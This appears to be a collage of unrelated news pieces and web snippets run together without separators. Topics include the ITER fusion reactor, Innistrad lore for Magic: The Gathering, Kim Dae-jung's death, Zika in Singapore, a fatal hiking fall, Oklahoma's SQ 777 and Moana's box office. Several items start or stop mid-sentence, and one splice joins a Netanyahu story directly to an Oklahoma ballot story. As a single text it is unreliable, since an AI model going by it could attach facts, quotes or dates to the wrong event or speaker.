Unfortunately for Jones, Rousey's a bit busy at the moment training for her upcoming title defense against Bethe Correia at UFC 190 on Aug. 1 in Rio de Janeiro, Brazil. But maybe he'll have better luck after she's done dispatching of yet another opponent.Cadarache: In the dusty highlands of Provence in southern France, workers have excavated a vast rectangular pit 17 metres (56 feet) down into the unforgiving rocks. From my raised vantage point, I can see bright yellow mechanical diggers and trucks buzzing around the edge of the pit, looking toy-like in the huge construction site. Above us, the fireball Sun dries the air at an unrelenting 37C.
These are embryonic stages to what is perhaps humankind's most ambitious scientific and engineering project: to replicate the Sun here on Earth.
When construction is complete, the pit will host a 73-metre-high machine (240 feet) that will attempt to create boundless energy by smashing hydrogen nuclei together, in much the same way as stars like our Sun do. Physicists have dreamed of being able to produce cheap, safe and plentiful energy through atomic fusion since the 1950s. Around the world, researchers continue to experiment with creating fusion energy using various methods. But as people within the field have said the dream has always been "30 years away" from realisation.
The need for a new energy source has never been more pressing. Global energy demand is expected to double by 2050, while the share coming from fossil fuels – currently 85% – needs to drop dramatically if we are to reduce carbon emissions and limit global warming.
Fusion, many believe, could be the answer. It works by forcing together two types, or isotopes, of hydrogen at such a high temperature that the positively charged atoms are able to overcome their mutual repulsion and fuse. The result of this fusion is an atom of helium plus a highly energetic neutron particle. Physicists aim to capture the energy released by these emitted neutrons, and use it to drive steam turbines and produce electricity.
When the reaction occurs in the core of the Sun, the giant ball of gas applies a strong gravitational pressure that helps force the hydrogen nuclei together. Here on Earth, any fusion reaction will have to take place at a tiny fraction of the scale of the Sun, without the benefit of its gravity. So to force hydrogen nuclei together on Earth, engineers need to build the reactor to withstand temperatures at least ten times that of the Sun – which means hundreds of millions of degrees.
Heated doughnuts
It's just one of the huge number of challenges facing the designers of this groundbreaking project. The concept was discussed and argued over for several decades before finally being agreed in 2007 as a multinational cooperation between the European Union, China, India, Japan, South Korea, Russia and the US – in total, 34 countries representing more than half of the world's population. Since then, the budget of 5 billion euros has trebled, the scale of the reactor has been halved, the completion date has been pushed back, and the project has somewhat lost its shine – which is somewhat ironic given the project is called Iter, meaning 'the way' in Latin.
But despite the difficulties, some progress is being made. The parts are being manufactured and tested by the participating nations, many of whom hope to develop the expertise to compete in any new fusion energy market that would be expected to follow a successful outcome at Iter.
Since they don't have access to the special conditions available in the Sun, physicists have designed a doughnut-shaped reaction chamber, called a tokamak. Hydrogen isotopes are heated to the point to which they lose electrons and form a plasma, and this is held in place for fusion but held away from the reactor walls, which could not withstand the heat. The tokamak deploys a powerful magnetic field to suspend and compress the hydrogen plasma using an electromagnet made of superconducting coils of a niobium tin alloy.
Once atomic fusion occurs, the heat produced will help to keep the core hot. But unlike a fission reaction that takes place in nuclear power stations and atomic bombs, the fusion reaction is not self perpetuating. It requires a constant input of material or else it quickly fizzles out, making the reaction far safer. And unlike what you might have seen in a recent Batman movie, the chamber cannot be transformed into a nuclear bomb. The neutrons will then be absorbed by the surrounding walls of the tokamak, transferring their energy to the walls as heat, and this in turn will be dissipated through cooling towers.
Because one of the hydrogen isotopes used, tritium, is radioactive (with a half-life of 12 years), the entire site must conform to France's strict nuclear safety laws. And to complicate matters further, the site is also moderately seismically active, meaning that the buildings are being supported on rubber pads to protect them from earthquakes.
These issues, plus the logistics of dealing with multiple nations with their own fluctuating domestic budget constraints, mean that the site won't be ready for the first experiments until 2020. Even then, they will just be testing the reactor and its equipment. The first proper fusion tests, reacting deuterium (a hydrogen isotope abundant in sea water) and tritium (which will be made from lithium), won't take place until 2028.
Power up
Those will be the key tests, though. If all goes to plan, the physicists hope to prove that they can produce ten times as much energy as the experiment requires. The plan is to use 50 megawatts (in heating the plasma and cooling the reactor), and get 500 MW out. Larger tokamaks should, theoretically, be able to deliver an even greater input to output power ratio, in the range of gigawatts.
And that is the big gamble. So far, the world's best and biggest tokamak, the JET experiment in the UK, hasn't even managed to break even, energy-wise. Its best ever result, in 1997, achieved a 16 MW output with a 25 MW input. Scale is an extremely important factor for tokamaks, though. Iter will be twice the size of JET, as well as featuring a number of design improvements.
If Iter is successful in its proof of principle mission, the first demonstration fusion plants will be built, capable of actually using and storing the energy generated for electricity production. These plants are slated to begin operation in about 2040 - around 30 years away, in fact...
Despite the seductive promise of finally getting a supply of electricity that's "too cheap to meter", the long wait to readiness and the fact that the technology remains unproven, means that many politicians are hesitant or even hostile to the expensive project. Additionally, because fusion energy won't be ready for decades, even if it works, other low-carbon energy sources must still be pursued in the short-term at least.
But if we do manage to replicate the Sun on Earth, the consequences would be spectacular. An era of genuinely cheap energy – both environmentally and financially, would have far reaching implications for everything from poverty reduction to conflict easement.
It’s exciting to think that the next generation could in some way be fusion powered – perhaps even within the lifetimes of the workman digging below me. But I can’t help but remember the 30-year rule.
Update (14/08): The original text contained factual inaccuracies regarding the fusion reaction within the reactor. This has now been rectified.
If you would like to comment on this article or anything else you have seen on Future, head over to our Facebook page or message us on Twitter.Loreweaving: Random Facts You May Not Know About Innistrad
Innistrad Vorthos Flavor Gothic loreweaving
Hello, folks! My name is Cid Vale Ferreira, and it's an honor to debut this new column here at MTGGoldfish! From now on, you may recognize my articles by looking for Loreweaving, my column's name. As the title suggests, my focus will be the Vorthosian aspect of the game. I'm looking forward to share some visions on worldbuilding, flavor, art, and official storyline. Let me make clear that this is not a fanfic column, and I'm not offering unnofficial stories. My goal is to pick different sources and threads from the fragmented creative universe of Magic in order to connect them as I approach each theme. If you have suggestions, keep in mind that they are always welcome.
My first theme is Innistrad, a top-down gothic-inspired masterpiece. Mark Rosewater regards this set as his best design, and it's not uncommon to hear or read pro-players acclaiming it as the best limited environment ever. Luckily for us, we're going to revisit in the next two expansion sets: Shadows over Innistrad and Eldritch Moon.
You may have played cards from Innistrad, Dark Ascension, and Avacyn Restored. You may have watched their trailers and heard about the block's storyline, but there are so many scattered sources dealing with the plane's lore that it would take days to read and watch every narrative. Because of this, I selected some trivia for those who are already familiar with the plane but couldn't delve deep enough to discover all the details they contain. If you're a dedicated Vorthos, consider this piece a Innistrad recap. I hope you enjoy the ride!
Ten Random Innistrad Facts
In order to achieve what art director Jeremy Jarvis considers their "ownability," Innistrad's monsters present unique differentials. Vampires have black scleras and were created by alchemy and demonic rituals using angelic blood, Skaab body parts are joined by copper plates inscribed with necromantic runes; their bodies also carry flammable oil and a bit of angel's blood... but how could we recognize the plane's Werewolves? The answer lies in their almost gorilla-like proportions. Steve Prescott points out that instead "of sleek and super-muscles all over, these werewolves have smaller heads, elongated arms, tiny waists and hind legs, and smaller thumbs higher up on the wrist than a human hand." So, in case you're not sure if a Werewolf illustration depicts a creature from Innistrad, just check if their arms are longer than their legs.
Female werewolf concept by Steve Prescott
Some great ideas were sadly lost during the block's development. To point out an example, Elbrus, the Binding Blade was originally conceived by Eric Deschamps as one of Withengar's fingers, but the creature was later developed as a 13/13 gargantuan Demon expected to be "as large as a building", so the initial idea had to be aborted.
Withengar missing a finger, concept by Eric Deschamps
It's almost impossible to look at Creepy Doll without thinking of Child's Play (1988), but this card's origin is a bit less obvious than it seems. Mark Rosewater is a big fan of New York's composer Jonathan Coulton, and he incited the team to come up with a top-down design based on the composer's "Creepy Doll" (click to download). In fact, Jenna Helland stated that the designers had this song played to them twice before the card was designed, making it a rare case of a card inspired by music.
Creepy Doll by Matt Stewart
Some of the most iconic gothic novels such as Frankenstein, Strange Case of Dr. Jekyll and Mr. Hyde, and Dracula are partially or integrally told through a compilation of personal letters and journal entries. To capture the subjectivity and emotional depth provided by this technique, the articles related to the gothic-inspired plane include epistolary narratives such as The Cursed Blade (the block's must-read masterpiece), Mikaeus, the Unhallowed (the exquisite letters of Gisa and Geralf about the siege of Thraben), and The Lunarch's Journal (the reactions of Lunarch Dovid to the discovery of Avacyn's creation by Sorin).
Except from The Cursed Blade
Kessig's population needs to be creative to deal with lycanthropy. Some of the cursed ones sought the priests' blessings and hoped for a cure even before the Cursemute, others infiltrated demonic cults and used their deadly form in suicide attacks to try to redeem themselves, while other adapted crypts with reinforced iron bars to imprison themselves before their transformation. Some of the most gruesome procedures, however, came from Humans themselves, such as the measures to identify false silver. Some villages' gates would only allow passers bearing silver ornaments. To make sure the metal wasn't fake, they would touch encaged Werewolves with it, allowing the passage only if the captive's flesh burned with contact. Shockingly, in order to use less food and smaller cages, cursed children would often be employed in this task.
Wolfbitten Captive by Zoltan Boros
Avacyn Restored lacked the double-faced cards of its predecessors, but the set's prerelease surprised players with something unique. Six thousand game stores received a "Helvault box" containing spindown life counters, oversized cards of the set's five legendary creatures, and a double-faced Angel / Demon token. Thirty of these stores, however, received premium boxes, making the Angel / Demon Token the first double-faced premium token (Marit Lage was the first "regular" foil token).
Foil double-faced Angel/Demon token
Dack Fayden is considered the "Multiverse's greatest thief" because his two innate abilities allow him to absorb both the magical properties of artifacts and some of its previous owners' memories. This is how he learned that the Ancient Fang he stole from the Rakdos Cult belonged to Sifa Grent, the planeswalker that slaughtered the entire population of his hometown, including his family and lover. Dack's hatred for her took him to Innistrad, where he discovered the Ancient Fang's gigantic potential: by shedding a few drops of blood, its bearer unleashes a Vampire-controlling spell. Soon, Dack was approached by Sorin Markov, who implied not so subtly that any Vampire would kill to possess it, convincing Dack to exchange it for information concerning Sifa's whereabouts. Now, if his kin turns against him again, at least Sorin may have an extra tool to handle them. By the way, even without the fang, Dack can still replicate its spell (and not only this specific spell, but all the spells of every artifact he steals and spends some time with).
Art by Matt Stewart
Before it was decided that each set would bring five cards depicting pivotal story moments, articles from the official Magic: The Gathering website provided additional artwork related to key moments such as Elspeth's shocking death at the hands of Heliod. Innistrad's plot got its reinforcement piece (with Thalia, Liliana, and the broken Helvault) in Checking in on the Planeswalkers, an article by Doug Beyer updating the status of every character represented in a planeswalker card.
Art by Todd Lockwood
He hasn't appeared in a card, but besides Sorin and Tibalt there's a third known planeswalker native to Innistrad: Vronos. Adopted as a child after his (witch?) sister was captured and burned by Cathars, Vronos was raised by the Order of the Silver Heron and educated on the lore of Innistrad's monsters until he became an elite inquisitor. One night, he was awaken by a small Werewolf that attacked him in his sleep and disfigured his face. Severely wounded, he managed to reach his sword and kill this beast and a few others of its pack, but soon he realized they were all children when their corpses regained human form. Shocked and conflicted, he stopped reacting, letting the others charge upon him. Instead of dying, however, he awoke in a whole different world: Esper. There, he bargained with the Ethersworn Vedalken: their holy texts would be available to him in exchange for information gathered in each new plane he discovered. Soon, he was able to craft etherium implants to reconstruct his face and a mask made from the same æther-infused material. Back in Innistrad, he reported as a heretical penitent to Avacyn, who assigned him the most dangerous task of all: to find and bring Garruk to her before his curse turn him into a Demon. As we could see in Duels of the Planeswalkers 2015's trailer, his mission led him to an unfortunate fate.
Excerpt from the Duels of the Planeswalkers 2015 cutscenes
A few days before Avacyn Restored's release, a card art depicting Garruk and Liliana (Triumph of Ferocity) was put in the spotlight for being reminiscent of sexual assault. A couple of years later, when it was included in Duels of the Planeswalkers 2015, the enchantment got a new alternate art with the cursed hunter surrounded by the corpses of Zombies. As Mark Rosewater stated, the "motives behind the illustration were pure," but out of context it could disturb a considerable amount of the audience.
Duels of the Planeswalkers 2015's alternate art for Triumph of Ferocity by Karl Kopinski
Ten Bonus Drops
And before we leave, we can't forget this little teaser from the upcoming Shadows Over Innistrad:
Excerpt from the Shadows over Innistrad teaser
Conclusion
Are you surprised by any of these? Would you add any other trivia to the list? Let me know your thoughts on this debut article by commenting below or through my social media accounts (Tumblr or Twitter). Until next time!Please turn on JavaScript. Media requires JavaScript to play. Advertisement Former South Korean President Kim Dae-jung, who pioneered his country's "Sunshine Policy" of engagement with North Korea, has died. Kim, who was being treated for pneumonia, was reported to have died after suffering heart failure. The former leader had spent his life pursuing democracy and reunification with the North. He survived several attempts on his life and was awarded the Nobel Peace Prize in 2000. Kim was declared dead just after 1340 local time (0440 GMT), a spokesman at the Severance hospital in Seoul said. "His heart began failing at 1.35 pm and stopped minutes later despite our efforts to revive it," said the spokesman. 'Many ordeals' Kim Dae-jung's date of birth is unclear. According to his presidential website he was born on 6 January 1924, but it is reported that he later changed this to 3 December 1925 to avoid conscription during the Japanese colonial period. I never strayed from principles and never compromised with injustice, even at the risk of my life
Kim Dae-jung
Obituary: Kim Dae-jung In pictures: Life of Kim Dae-jung President Kim: Your memories Kim was branded a dangerous radical during South Korea's decades of military rule. He survived several assassination attempts, was sentenced to death, and tortured in jail. He was exiled twice and put under house arrest countless times. He made history when he was elected to the presidency in December 1997 on his fourth attempt - the first peaceful transfer of power from a ruling to an opposition party since the country was founded in 1948. He remained president until he stepped down in 2003. In 2007 South Korea's spy agency, the National Intelligence Service (NIS), admitted abducting Kim in 1973, with tacit backing from then leader Park Chung-hee. The report said there was some evidence to suggest the kidnap was initially planned as an assassination attempt. In a 2006 interview, he said he had no regrets about the turbulent nature of his career. "I underwent many ordeals in my life but I never strayed from principles and never compromised with injustice, even at the risk of my life," AFP news agency reported him as saying. He described the biggest achievement of his presidency as the landmark summit with North Korean leader Kim Jong-il in 2000. It paved the way for reconciliation and earned him a Nobel prize later that year.
Bookmark with: Delicious
Digg
reddit
Facebook
StumbleUpon What are these? E-mail this to a friend Printable version"Red Vs. Blue" voice actor Geoff Ramsey tried to tattoo his co-workers in the trailer for Rooster Teeth's latest feature documentary.
The voice behind the long-running animated series, “Red Vs. Blue,” will step on camera to host a deep dive into tattoo culture in the latest feature documentary from Rooster Teeth, “The Tattooist.”
This is the fifth feature documentary from the Austin-based digital studio, which has a robust online following. The studio previously released “The Meme Machine,” which dug up the human stories behind Internet memes. In “The Tattooist,” the heavily inked Geoff Ramsey (credited as Geoff Lazer Ramsey in “Red Vs. Blue”), explores the sub-culture of tattoos and takes a master class from a well known tattoo artist.
READ MORE: Rooster Teeth Greenlights Second Season Of Post-Apocalyptic Series ‘Day 5’ — Exclusive
“The world of tattoos is kind of exploding right now,” says Ramsey in the trailer. “The medium is being pushed, and the spectrum of what a tattoo is and means has just gone crazy.” As part of his master class, Ramsey hopes one of his Rooster Teeth co-workers will let him test out his new skills on them.
“Luckily, Rooster Teeth — a company that started with essentially three or four idiots, is now a company with over 250 idiots,” he says as he goes looking for subjects.
Check out the new trailer:
“The Tattooist” comes out March 24th, on Rooster Teeth FIRST.
Stay on top of the latest breaking film and TV news! Sign up for our Festivals newsletter here.Singapore has confirmed its first case of a locally-transmitted Zika virus, which has been linked to microcephaly, a rare birth defect, in Brazil, the health ministry said.
A 47-year-old Malaysian woman working in the city-state was confirmed with the virus, but was “well and recovering.” As she had not traveled to Zika-affected areas recently, she was likely to have been infected in Singapore, the ministry said in a statement.
Three other cases have tested positive in preliminary tests on their urine samples and are due further checks.
Zika was detected in Brazil last year and has since spread across the Americas. The virus poses a risk to pregnant women because it can cause severe birth defects. It has been linked to more than 1,600 cases of microcephaly in Brazil.
Hong Kong Confirms First Case of Zika Virus
Singapore, one of the world’s largest financial centers and busiest travel hubs, said it expected more cases of the mosquito-borne virus which has wreaked havoc in Latin America, the Caribbean and beyond.
“With the presence of Zika in our region and the volume of travel by Singaporeans as well as tourists, it is inevitable there will be imported cases of Zika into Singapore,” the ministry said.
“There is also risk of subsequent local transmission … we expect there may be further cases, as most infected persons may display mild or no symptoms.”
The ministry said it was screening the patient’s close contacts and carrying out tests on others living or working nearby. Clinics have been told to be on the lookout for more cases.
No Confirmed Zika Cases Have Been Linked to the Olympics
The National Environment Agency (NEA) has carried out “vector control” operations to control the mosquito population and deployed 100 officers in the area, the statement said.
Such operations include “ultra-low volume misting of premises and thermal fogging of outdoor areas to kill adult mosquitoes,” increasing frequency of drain flushing and oiling to prevent breeding, and public education outreach and distribution of insect repellent.
“NEA may need to gain entry into inaccessible premises by force after serving of requisite notices, to ensure any breeding habitats are destroyed quickly,” the statement said.
U.S. health officials have concluded that Zika infections in pregnant women can cause microcephaly, a birth defect marked by small head size that can lead to severe developmental problems in babies.
Health Official Warns Zika Could Spread Across U.S. Gulf
The World Health Organization has said there is strong scientific consensus that Zika can also cause Guillain-Barre, a rare neurological syndrome that causes temporary paralysis in adults.
Zika is carried by mosquitoes, which transmit the virus to humans. A small number of cases of sexual transmission have been reported in the United States and elsewhere. A case of suspected transmission through a blood transfusion in Brazil has raised questions about other ways that Zika may spread.
There is no vaccine or treatment for Zika, which is a close cousin of dengue and chikungunya and causes mild fever, rash and red eyes. An estimated 80% of people infected have no symptoms, however.The video game industry has won a seven-year battle to claim government tax breaks. The European commission has agreed to extend the credits, which are already available to film and theatre productions, allowing games makers to claim back 25% of their qualifying production costs.
Tax breaks have already boosted domestic film production, increasing the number of Hollywood features and telivision shows made in Britain. Without the same support, the commission said on Thursday, the number of new "culturally British" games being produced was likely to decline considerably.
Studios such as Rockstar North, the American-owned – but Edinburgh-based – designer of Grand Theft Auto, will need to meet a number of tests before qualifying for the scheme.
About a quarter of the games made in Britain today would qualify, with marks awarded for British locations, characters, and dialogue as well as the use of British developers, composers, designers and studios.
Industry association Tiga initially secured the tax breaks in the Labour government's final budget in March 2010, but they were dropped later that year by the coalition.
In April 2013, the commission launched its investigation, saying there was no obvious market failure in this "growing and dynamic sector". An announcement had been expected in time for this week's budget, but the news was delayed. The competition commissioner, Joaquin Almunia, said on Thursday: "Our initial doubts have been dispelled. The proposed aid for video games will indeed focus on a small number of distinctive, culturally British games which have experienced difficulties in finding private finance."
According to Tiga, employment in the sector fell by more than 10% between 2008 and 2011 and investment by £48m as tax breaks available in other countries began to affect work in the UK.
Tax director Rachel Austin at accountants Deloitte said: "The relief will provide a huge boost to an industry that has faced fierce competition in recent years from developers in countries such as Canada and France, where tax incentives are already offered."Zimbabwe's batting has come good in the tournament, but there are concerns about their bowling © Getty Images
Elton Chigumbura captains a cricket team that is among the game's aristocracy. As an ICC Full Member, Zimbabwe, internal politics aside, do not need to stage any uprisings because they already have all the benefits of the elite but mid-way through their World Cup campaign, Chigumbura was thinking like an activist.
"It will be sad if the World Cup is reduced but we've got the chance maybe to force them to change those decisions if we play well and go to the next stage," Chigumbura said. "Even looking at the Associates, they're doing well, so if they carry on doing well with what they've been doing, and hopefully they can force them to change those decisions when it comes to reducing teams for the World Cup."
Zimbabwe, like Bangladesh and perhaps even West Indies, are at risk of being the first heads to roll when the revolution comes. As the lowest-ranked Full Members on the ODI table, they are directly threatened by the proposed shrinkage of the World Cup, perhaps even more than the Associates.
While Ireland, Afghanistan, Scotland, UAE and all the other Associates who have played at a World Cup are used to being asked to prove themselves via qualifying round, the Full Members have always been guaranteed their spot. If the World Cup condenses, they no longer have that certainty.
For Zimbabwe it will mean financial meltdown, even if it does not affect their top-tier status, which is why they put so much emphasis on being able to push the big boys at this tournament. "I'm sure some people were surprised about the way we approached the tournament," Chigumbura said, referring to their positivity, especially with the bat. "It's just a matter of time if you work hard first up, and when you get in, these are good wickets to bat on. As a team, we're confident with our batting."
So confident they danced toe to toe with South Africa for 80% of their chase of 340, so confident that there was no panic within the ranks during a faltering chase against UAE and so confident that even when Chris Gayle blew them away, they were not overawed. Like most teams at the tournament, Zimbabwe have found bowling at the death difficult primarily because they lack an out and out paceman.
The match against Pakistan is an opportunity to change that. It is also Zimbabwe's last shot at staying in contention for a quarterfinal place. With that pressure at the back of their minds, the Zimbabwe of old would not have been able to cope. But the new Zimbabwe, the one that enjoys having a bit of fun, has promised to try.
"If you put the freedom in the team, then you tend to be relaxed and you can execute. At the end of the day it's about also enjoying the game," Chigumbura said. "You need to enjoy the moments and the occasion."
Firdose Moonda is ESPNcricinfo's South Africa correspondent
© ESPN Sports Media Ltd.Please enable Javascript to watch this video
Responders trying to get one man down from the trail into an ambulance, the coroner on scene for other man @wnep pic.twitter.com/NkhcsSeTZG — Alicia Nieves WNEP (@NievesReporting) May 25, 2016
LEHIGH GORGE STATE PARK -- Emergency crews responded Wednesday to reports of a deadly fall at Lehigh Gorge State Park in Carbon County.
Authorities confirm Rahman Hassan, 18, of Nazareth is dead and Fadi Abboud, 19, of Allentown was injured after an incident before noon, believed to be a fall at Glen Onoko Falls in Carbon County.
It all happened around noon Wednesday. Dozens of emergency responders poured into the Lehigh Gorge State Park trying to rescue two hikers who fell near the top of the Glen Onoko Falls trail.
You could hear one hiker scream in pain as dozens of firefighter rescued him off the mountain trail.
One firefighter was injured on the descent, and other nearby hikers stepped in to help out.
"It's just really rocky and steep terrain. A lot of guys helped out," said hiker Jimmy Payne.
Firefighters had to make a second trip to try and rescue the other hiker who fell. He was pronounced dead at the top of the trail.
"The one victim was helping the other guy come over the rocks, and they both went down," explained Jim Thorpe Fire Chief Vince Yates.
Authorities in the area say they are not surprised by the tragic turn of events.
"It's too common. As soon as the weather gets nice, everybody flocks up here to see the falls," said Chief Yates. "You can't get it into their heads how dangerous it is up there. If you see most of them that come down, you will see them in sneakers."
Officials recommend wearing hiking boots on the trails at the gorge.
Witness: hikers at Lehigh Gorge State Park fell when one dropped water bottle, went to get it, slipped... The other tried to save him. @wnep — Alicia Nieves WNEP (@NievesReporting) May 25, 2016Less than a week after Israeli Defense Minister Moshe Ya’alon insisted Israel has no formal position on a settlement ending the Syrian Civil War and intended to “keep their opinions to themselves,” Israeli Prime Minister Benjamin Netanyahu is demanding any deal reached comply with Israel’s interests.
Netanyahu says he laid out several “red lines” to President Obama during today’sz meeting, including not allowing weapons transfers from Syria into Lebanon, and not accepting a “regime” in Syria that acts as an Iranian proxy.
In effect, after Ya’alon’s effort to move Israel toward a more neutral position on Syria, Netanyahu has snapped them back to their long-standing position, supporting regime change against the Assad government entirely on the basis of that government being on good terms with Iran.
Israeli |
” a ‘yes’ vote might have on the city.
“We’ve seen there are some unintended consequences that are particularly concerning for a municipality,” Tulsa City Councilor Anna America said during the Oct. 12 vote. “We’ve got agricultural-zoned land all across the city, spotted through neighborhoods, through retail areas. That might make us vulnerable to that being used in ways that we as city leaders and citizens didn’t intend.”
Uncommon amendment
Oklahoma State University agricultural law professor Shannon Ferrell says local government leaders worry if SQ 777 passes it will challenge a system that grants cities the authority to regulate local land use and enact ordinances to oversee things like water, noise and dust.
SQ 777 would amend Oklahoma’s constitution to prevent the state Legislature from enacting laws that limit agricultural technology, livestock production or ranching practices, unless there’s a compelling state interest.
“It’s kind of uncommon that you have a right like this defined in a constitution,” Ferrell says.
Joe Wertz / StateImpact Oklahoma
Concerns about local zoning ordinances aren’t the only legal questions that could be raised if voters approve SQ 777. Ferrell and other legal experts say the amendment might one day lead to gaps between state and federal rules, jeopardizing programs the federal government grants Oklahoma authority to oversee. Legal experts also say the state question’s broad language will likely lead to lawsuits and clarification from the courts.
“We really don’t have enough case law from other states to see how this sort of constitutional amendment’s been interpreted by other states,” Ferrell says.
That’s because right-to-farm is so new. Only two other states — Missouri and North Dakota — have adopted similar pro-agriculture constitutional amendments, and both states passed the measure in the last few years.
Opponents urging a ‘no’ vote say the amendment will pave the way for environmental problems like water pollution, but Ferrell says water and public health and safety are a compelling state interest. Even if voters approve SQ 777, Ferrell thinks courts will likely preserve the state’s ability to pass laws protecting broad environmental concerns.
“The Legislature can still enact regulations and statutory restrictions, but it now has an additional burden of proof,” Ferrell says.
Unequal incentives?
University of Oklahoma law professor Melissa Mortazavi sees bigger problems lurking in the specific language of SQ 777.
“This is about incentivizing and protecting a certain type of farming,” she says.
Mortazavi says large farm operations and corporate food-production companies stand to gain the most from an amendment that guards agriculture technology.
“That’s not going to be garden-variety farmers,” Mortazavi says. “They don’t own genetic rights to the seed that they plant.”
If Mortazavi is right about SQ 777, it could take a while before the effects are felt in Oklahoma. In the two states that already have a right-to-farm amendment, there haven’t been any major problems or court battles — yet.How Moana Compares To Frozen At The Box Office So Far By Dirk Libbey Random Article Blend Thanksgiving weekend is routinely a big weekend for family films which is part of the reason why it's a weekend Disney has owned for a long time. No movie has owned the weekend like Frozen did, but is that about to change? Disney's newest animated princess, Moana, is going to take a shot at dethroning the snow queen. Through Thanksgiving Day Moana has been tracking ahead of where Frozen was at this point in 2013. Estimates have it looking to be a close race but it's possible that Moana could be on the way to breaking all those massive records that Frozen set. Over the five-day Thanksgiving weekend in 2013 Frozen grossed over $93 million. According to Deadline, projections for Moana are currently somewhere north of $85 million, though exactly how far north of that they'll get is hard to guess at this point. Moana easily set a Disney record for both during Tuesday night previews, more than doubling what Frozen did, and for its Wednesday opening, though those numbers were a bit closer. Add the just short of $10 million that Moana did yesterday and the film is in a pretty good position going into the Black Friday weekend when things are really expected to explode. Moana is getting rave reviews by critics and the fact that's opening so well certainly implies that audiences are already excited about it. Even if Moana only does the minimum expected $85 million, that will still make it the third highest-grossing film in the history of the Thanksgiving weekend. Only Frozen and the second Hunger Games movie will have done more business. It seems clear that Moana will be a hit. Frozen, however, was more than just a hit. It was a phenomenon. Disney is still pulling in the fans, and the merchandising dollars, off of that one. It would be quite a tall order for Moana to become the new darling of Disney, however, a lot of what people liked about Frozen was the way it was able to both embrace, and subvert the traditional Disney formula, and Moana does this as well, albeit, in very different ways. Odds are we'll know how things are going to stack up by tomorrow morning, Black Friday is usually the highest grossing day of the weekend, with so many people already out and about doing their shopping apparently many decide to take a break and rest their feet in a movie theater. While Black Friday was the biggest day for Frozen on opening weekend ($26.8 million), it was only barely ahead of Saturday ($25.3 million). This means that Moana will need to put up a couple of solid days if it is going to overtake the current Disney champ. Although, it's lead going into these last three days may be the cushion it needs to be the new champion. Will you be checking out Moana this weekend, or have you already? Let us know in the comments below. Blended From Around The Web Facebook
Back to topPresident Donald Trump listens to a translation as Japanese Prime Minister Shinzo Abe speaks during their joint news conference, Friday, Feb. 10, 2017, in the East Room of the White House in Washington. AP Photo/Evan Vucci (Reuters) - Major U.S. retailers Sears and Kmart this week removed 31 Trump Home items from their online product offerings to focus on more profitable items, a spokesman said on Saturday.
The decision follows retailer Nordstrom Inc's announcement this week it had decided to stop carrying Ivanka Trump's apparel because of declining sales, prompting President Donald Trump to take to Twitter to defend his daughter. White House spokesman Sean Spicer characterized the Nordstrom move as a "direct attack" on the president's policies.
Neither Sears nor Kmart carried the Trump Home products in their retail stores, a Sears Holdings Corp spokesman said. Kmart is a wholly owned subsidiary of Sears Holdings.
"As part of the company's initiative to optimize its online product assortment, we constantly refine that assortment to focus on our most profitable items," spokesman Brian Hanover said in a statement.
"Amid that streamlining effort, 31 Trump Home items were among the items removed online this week," he said, adding those items can be found through a third-party vendor, without providing additional information about the products.
The Trump Home collection includes lines of furniture, lighting, bedding, mirrors and chandeliers, some from makers who supply the items to Trump hotels, according to the collection's website.
Nordstrom's sales of Ivanka Trump's line of clothing and shoes fell by nearly one-third in the past fiscal year, with sharp drops in sales weeks before her father was elected president on Nov. 8, the Wall Street Journal reported on Saturday.
(Reporting by Jon Herskovitz; editing by Grant McCool)Image copyright Getty Images
Nations responsible for much of the world's ocean plastic pollution have promised to start cleaning up their act.
At a UN oceans summit, delegates from China, Thailand, Indonesia and the Philippines said they would work to keep plastics out of the seas.
Some of the promises are not yet formalised and environmentalists say the measures proposed are not nearly urgent enough.
But UN officials praised the statement.
Meeting in New York, they said it was part of a clear international shift against ocean pollution.
Eric Solheim, the UN's environment director, told BBC News: "There are quite encouraging signs, with nations taking the ocean much more seriously. Of course, there is a very long way to go because the problems are huge."
It is estimated that 5-13 million tonnes of plastics flow into the world's oceans annually. Much of it is ingested by birds and fish – and fragments of plastic have even been found in organisms at the bottom of the ocean.
A recent paper said much of the marine plastic often originates far from the sea – especially in countries which have developed consumer economies faster than their ability to manage waste.
The Helmholtz Centre in Leipzig, Germany, estimated that 75% of land-borne marine pollution comes from just 10 rivers, predominantly in Asia.
Reducing the plastic loads in these rivers by 50% would reduce global plastic inputs by 37%, it said.
'Change in attitude'
Tom Dillon from the Pew Charitable Trusts, which campaign on oceans, urged China to move quickly.
He told BBC News: "For thousands of years the Maritime Silk Road was a pathway for export of Chinese culture and influence. Will the ocean be a vehicle for export of Chinese pollution, or a new culture of conservation and sustainability?"
A report to the UN conference from the Thailand government says most marine plastic debris is land-based, caused by inefficient waste management and poor handling of plastic wastes.
In Thailand, the total amount of garbage finding its way into the sea was estimated at 2.83 million tonnes in 2016 - of which 12% was plastic.
The Thai government says the nation has established a 20-year strategy to tackle the problem, including developing financial incentives for keeping plastic out of the sea and encouraging eco-packaging design and eco-friendly substitutes for plastics.
In Indonesia, the government is starting a mass education programme for schoolchildren, and in the Philippines new laws are being developed.
Part of the challenge is finding substitutes for plastics. An international prize for smarter materials and design for packaging was launched recently by the Ellen MacArthur Foundation.
Follow Roger on Twitter @rharrabinSophia Schubert Post-Round Quotes
CHULA VISTA, Calif. – Senior Texas golfer Sophia Schubert on Friday notched a 3 and 1 quarterfinal victory against Isabella Fierro of Mexico to advance to the semifinals of the 2017 U.S. Women's Amateur at the San Diego Country Club in Chula Vista, Calif.
Schubert, who is the first Texas golfer to advance past the Round of 16 at the U.S. Women's Amateur since Katelyn Sepmoree in 2013, will face 13-year-old Chia Yen Wu of Chinese Taipei in Saturday's semifinal round. Wu took 30 holes to defeat Lauren Stephenson in Friday's quarterfinal round. Schubert will tee off at 10:15 a.m. CT Saturday.
Schubert, a native of Oak Ridge, Tenn., was an Honorable Mention-All American by the Women's Golf Coaches Association during her junior season of 2016-17. She concluded last season with a team-best 72.49 stroke average, leading her team in seven tournaments with seven top-10 finishes and five top-five showings.
SOPHIA SCHUBERT RESULTS AT THE 2017 U.S. WOMEN'S AMATEUR
Stroke Play – T38th – 4-over-par 148 [74-74]
Round of 64 – def. Naomi Ko, N.C. State [4 and 3]
Round of 32 – def. Krystal Quihuis, Arizona [3 and 2]
Round of 16 – def. Zoe Campos, Valencia, Calif. [7 and 6]
Quarterfinals – def. Isabella Fierro, Mexico [3 and 1]Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
